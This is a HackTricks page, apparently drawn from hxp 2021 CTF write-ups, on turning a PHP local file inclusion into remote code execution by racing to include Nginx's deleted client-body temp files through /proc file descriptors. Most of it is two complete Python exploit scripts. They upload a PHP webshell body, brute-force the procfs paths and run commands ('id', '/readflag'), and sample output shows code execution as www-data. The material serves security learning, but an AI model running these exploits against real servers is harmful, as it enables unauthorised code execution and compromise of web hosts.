Support HackTricks and get benefits!
-
Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
-
Discover The PEASS Family, our collection of exclusive NFTs
-
Get the official PEASS & HackTricks swag
-
Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
-
Share your hacking tricks by submitting PRs to the hacktricks github repo.
- PHP code:
<?php include_once($_GET['file']);
- FPM / PHP config:
...
php_admin_value[session.upload_progress.enabled] = 0
php_admin_value[file_uploads] = 0
...
- Setup / hardening:
...
chown -R 0:0 /tmp /var/tmp /var/lib/php/sessions
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
...
Luckily PHP is currently often deployed via PHP-FPM and Nginx. Nginx offers an easily-overlooked client body buffering feature which will write temporary files if the client body (not limited to post) is bigger than a certain threshold.
This feature allows LFIs to be exploited without any other way of creating files, if Nginx runs as the same user as PHP (very commonly done as www-data).
Relevant Nginx code:
ngx_fd_t
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
{
ngx_fd_t fd;
fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
access ? access : 0600);
if (fd != -1 && !persistent) {
(void) unlink((const char *) name);
}
return fd;
}
It's visible that tempfile is unlinked immediately after being opened by Nginx. Luckily procfs can be used to still obtain a reference to the deleted file via a race:
...
/proc/34/fd:
total 0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 0 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589]
lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926]
lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927]
lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted)
...
Note: One cannot directly include /proc/34/fd/15
in this example as PHP's include
function would resolve the path to /var/lib/nginx/body/0000001368 (deleted)
which doesn't exist in in the filesystem. This minor restriction can luckily be bypassed by some indirection like: /proc/self/fd/34/../../../34/fd/15
which will finally execute the content of the deleted /var/lib/nginx/body/0000001368
file.
#!/usr/bin/env python3
import sys, threading, requests
# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details
URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'
# find nginx worker processes
r = requests.get(URL, params={
'file': '/proc/cpuinfo'
})
cpus = r.text.count('processor')
r = requests.get(URL, params={
'file': '/proc/sys/kernel/pid_max'
})
pid_max = int(r.text)
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')
nginx_workers = []
for pid in range(pid_max):
r = requests.get(URL, params={
'file': f'/proc/{pid}/cmdline'
})
if b'nginx: worker process' in r.content:
print(f'[*] nginx worker found: {pid}')
nginx_workers.append(pid)
if len(nginx_workers) >= cpus:
break
done = False
# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
print('[+] starting uploader')
while not done:
requests.get(URL, data='<?php system($_GET["c"]); /*' + 16*1024*'A')
for _ in range(16):
t = threading.Thread(target=uploader)
t.start()
# brute force nginx's fds to include body files via procfs
# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
def bruter(pid):
global done
while not done:
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
f = f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
r = requests.get(URL, params={
'file': f,
'c': f'id'
})
if r.text:
print(f'[!] {f}: {r.text}')
done = True
exit()
for pid in nginx_workers:
a = threading.Thread(target=bruter, args=(pid, ))
a.start()
Output:
$ ./pwn.py 127.0.0.1 1337
[*] cpus: 2; pid_max: 32768
[*] nginx worker found: 33
[*] nginx worker found: 34
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] brute loop restarted: 33
[+] brute loop restarted: 34
[!] /proc/self/fd/34/../../../34/fd/9: uid=33(www-data) gid=33(www-data) groups=33(www-data)
This is from https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/
import requests
import threading
import multiprocessing
import threading
import random
SERVER = "http://localhost:8088"
NGINX_PIDS_CACHE = set([34, 35, 36, 37, 38, 39, 40, 41])
# Set the following to True to use the above set of PIDs instead of scanning:
USE_NGINX_PIDS_CACHE = False
def create_requests_session():
session = requests.Session()
# Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overhead
adapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000)
session.mount('http://', adapter)
return session
def get_nginx_pids(requests_session):
if USE_NGINX_PIDS_CACHE:
return NGINX_PIDS_CACHE
nginx_pids = set()
# Scan up to PID 200
for i in range(1, 200):
cmdline = requests_session.get(SERVER + f"/?action=read&file=/proc/{i}/cmdline").text
if cmdline.startswith("nginx: worker process"):
nginx_pids.add(i)
return nginx_pids
def send_payload(requests_session, body_size=1024000):
try:
# The file path (/bla) doesn't need to exist - we simply need to upload a large body to Nginx and fail fast
payload = '<?php system("/readflag"); ?> //'
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
pass
def send_payload_worker(requests_session):
while True:
send_payload(requests_session)
def send_payload_multiprocess(requests_session):
# Use all CPUs to send the payload as request body for Nginx
for _ in range(multiprocessing.cpu_count()):
p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
p.start()
def generate_random_path_prefix(nginx_pids):
# This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
path = ""
component_num = random.randint(0, 10)
for _ in range(component_num):
pid = random.choice(nginx_pids)
if random.randint(0, 1) == 0:
path += f"/proc/{pid}/cwd"
else:
path += f"/proc/{pid}/root"
return path
def read_file(requests_session, nginx_pid, fd, nginx_pids):
nginx_pid_list = list(nginx_pids)
while True:
path = generate_random_path_prefix(nginx_pid_list)
path += f"/proc/{nginx_pid}/fd/{fd}"
try:
d = requests_session.get(SERVER + f"/?action=include&file={path}").text
except:
continue
# Flags are formatted as hxp{<flag>}
if "hxp" in d:
print("Found flag! ")
print(d)
def read_file_worker(requests_session, nginx_pid, nginx_pids):
# Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range
for fd in range(10, 45):
thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids))
thread.start()
def read_file_multiprocess(requests_session, nginx_pids):
for nginx_pid in nginx_pids:
p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
p.start()
if __name__ == "__main__":
print('[DEBUG] Creating requests session')
requests_session = create_requests_session()
print('[DEBUG] Getting Nginx pids')
nginx_pids = get_nginx_pids(requests_session)
print(f'[DEBUG] Nginx pids: {nginx_pids}')
print('[DEBUG] Starting payload sending')
send_payload_multiprocess(requests_session)
print('[DEBUG] Starting fd readers')
read_file_multiprocess(requests_session, nginx_pids)
- https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz
- https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/
- https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/
Support HackTricks and get benefits!
-
Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
-
Discover The PEASS Family, our collection of exclusive NFTs
-
Get the official PEASS & HackTricks swag
-
Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
-
Share your hacking tricks by submitting PRs to the hacktricks github repo.